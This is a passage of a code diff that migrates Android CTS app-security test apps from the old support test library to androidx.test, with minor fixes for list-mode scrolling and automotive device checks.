android:targetPackage="com.android.cts.documentclient" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index e85e167..5032ad3 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -101,6 +101,15 @@
assertTrue("First list item",
new UiObject(docList.childSelector(new UiSelector())).waitForExists(TIMEOUT));
+ try {
+ //Enfornce to set the list mode
+ //Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) in grid mode when screen landscape mode
+ new UiObject(new UiSelector().resourceId("com.android.documentsui:id/option_menu_list")).click();
+ mDevice.waitForIdle();
+ }catch (UiObjectNotFoundException e){
+ //do nothing, already be in list mode.
+ }
+
// Now scroll around to find our item
new UiScrollable(docList).scrollIntoView(new UiSelector().text(label));
return new UiObject(docList.childSelector(new UiSelector().text(label)));
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index d2eea34..afcaae0 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -146,7 +146,8 @@
protected boolean supportedHardwareForScopedDirectoryAccess() {
final PackageManager pm = getInstrumentation().getContext().getPackageManager();
- if (pm.hasSystemFeature("android.hardware.type.watch")) {
+ if (pm.hasSystemFeature("android.hardware.type.watch")
+ || pm.hasSystemFeature("android.hardware.type.automotive")) {
return false;
}
return true;
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index 42aa074..a445466 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index 9734112..44aa242 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
index da3c9e4..1231874 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
@@ -82,7 +82,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.encryptionapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index 90b7866..777bd65 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
- android-support-test \
- ctsdeviceutillegacy \
- ctstestrunner
+ androidx.test.rules \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index 2dc1b02..f966b3d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -125,6 +125,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.ephemeralapp1" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 9e231a1..58565ea 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -19,9 +19,10 @@
import static android.media.AudioFormat.CHANNEL_IN_MONO;
import static android.media.AudioFormat.ENCODING_PCM_16BIT;
import static android.media.MediaRecorder.AudioSource.MIC;
-import static org.hamcrest.CoreMatchers.is;
+
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.hasItems;
+import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.junit.Assert.assertSame;
@@ -58,19 +59,16 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
-import android.os.Looper;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.os.VibrationEffect;
import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.telephony.CellLocation;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
-import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.TestThread;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.cts.util.TestResult;
import org.junit.After;
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 78c7970..535d67c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
- android-support-test \
- ctsdeviceutillegacy \
- ctstestrunner
+ androidx.test.rules \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 0350cc6..4e83c34 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -78,6 +78,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.ephemeralapp2" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
index 8b04f9b..8500077 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
- android-support-test
+ androidx.test.rules
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
index f202a0a..d9136d5 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
@@ -38,6 +38,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.implicitapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index d2c3667..3e41c1b 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
- android-support-test
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
index 51b5700..e577260 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
@@ -132,6 +132,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.normalapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 2265dec..86cea52 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -34,8 +34,9 @@
import android.database.Cursor;
import android.net.Uri;
import android.provider.Settings.Secure;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.cts.util.TestResult;
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
index 7ceaff3..d8e9234 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
index 39c6981..1820eb0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
@@ -25,6 +25,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.unexposedapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
index 28560d3..6d58891 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
- android-support-test
+ androidx.test.rules
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
index fbacf95..941c4b06 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
@@ -34,6 +34,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.userapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
index 64f02cb..afb016c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -19,7 +19,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test
+ androidx.test.rules
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
index 0e59a1d..09bac4c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
@@ -27,6 +27,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.userapptest" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
index ed038ee..86ecafa 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
@@ -22,8 +22,9 @@
import android.content.Intent;
import android.content.pm.ResolveInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index 5945188..c82648c 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
index 198bb39..1ac2790 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -32,7 +32,7 @@
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.escalate.permission" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index bbe8e02..cfccc78 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -16,17 +16,19 @@
package com.android.cts.escalatepermission;
-import android.content.Context;
-import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import static org.junit.Assert.assertSame;
+import android.content.Context;
+import android.content.pm.PermissionInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.cts.escalate.permission.Manifest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(AndroidJUnit4.class)
public class PermissionEscalationTest {
@Test
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 2fcbc20..0b232fb 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml
index 958ff61..37d423f 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.externalstorageapp" />
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
index 78eb619..b113f8f 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -22,7 +22,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsInstantCookieApp
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
index 31f653d..d9b20c1 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
@@ -23,7 +23,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="test.instant.cookie" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
index 774296b..ec41bf3 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
@@ -16,17 +16,19 @@
package test.instant.cookie;
-import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(AndroidJUnit4.class)
public class CookieTest {
@Test
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
index 6385123..7c1d7095 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
@@ -22,7 +22,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsInstantCookieApp2
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
index 31f653d..d9b20c1 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
@@ -23,7 +23,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="test.instant.cookie" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
index da1492f..c436682 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
@@ -16,17 +16,16 @@
package test.instant.cookie;
+import static org.junit.Assert.assertEquals;
+
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
@RunWith(AndroidJUnit4.class)
public class CookieTest {
@Test
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
index e0bc1cf..be0752a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
- android-support-test \
- ctsdeviceutillegacy \
- ctstestrunner
+ androidx.test.rules \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml
index d068af5..c57c2a7 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/AndroidManifest.xml
@@ -28,6 +28,6 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.instantupgradeapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java
index 473f4b9..b9eff1a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/src/com/android/cts/instantupgradeapp/ClientTest.java
@@ -17,28 +17,21 @@
package com.android.cts.instantupgradeapp;
import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThat;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
-import android.app.Activity;
import android.content.Context;
-import android.content.Intent;
import android.content.SharedPreferences;
-import android.content.pm.ResolveInfo;
-import android.os.Bundle;
-import android.preference.PreferenceManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.io.FileInputStream;
import java.io.FileOutputStream;
-import java.util.List;
@RunWith(AndroidJUnit4.class)
public class ClientTest {
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index b99597b..a977416 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
index a958c4c..49c10da 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/AndroidManifest.xml
@@ -34,7 +34,7 @@
A self-instrumenting test runner, that will try to start the above instrumentation and
verify it fails.
-->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.instrumentationdiffcertapp"
android:label="Test for instrumentation with different cert" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 3231710..8373d9e 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -30,7 +30,7 @@
# Make sure our test locale polish is not stripped.
LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Generate a locale split.
